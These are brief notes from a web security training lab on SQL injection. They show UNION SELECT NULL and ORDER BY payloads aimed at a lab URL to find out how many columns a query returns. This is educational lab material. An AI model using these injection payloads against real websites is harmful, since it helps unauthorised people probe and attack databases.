Lab: SQL injection UNION attack, determining the number of columns returned by the query

Lab: SQL injection UNION attack, determining the number of columns returned by the query

try 

' UNION SELECT NULL,NULL,NULL--

NO error


https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
'  UNION SELECT NULL, NULL, NULL--

if you added a fourth null the error will appear.

try 

' ORDER BY 3--

No error when you will change it to 4 there will be an error


https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
' ORDER BY 3--
PreviousLab: SQL injection vulnerability allowing login bypassNextLab: SQL injection UNION attack, finding a column containing text

Last updated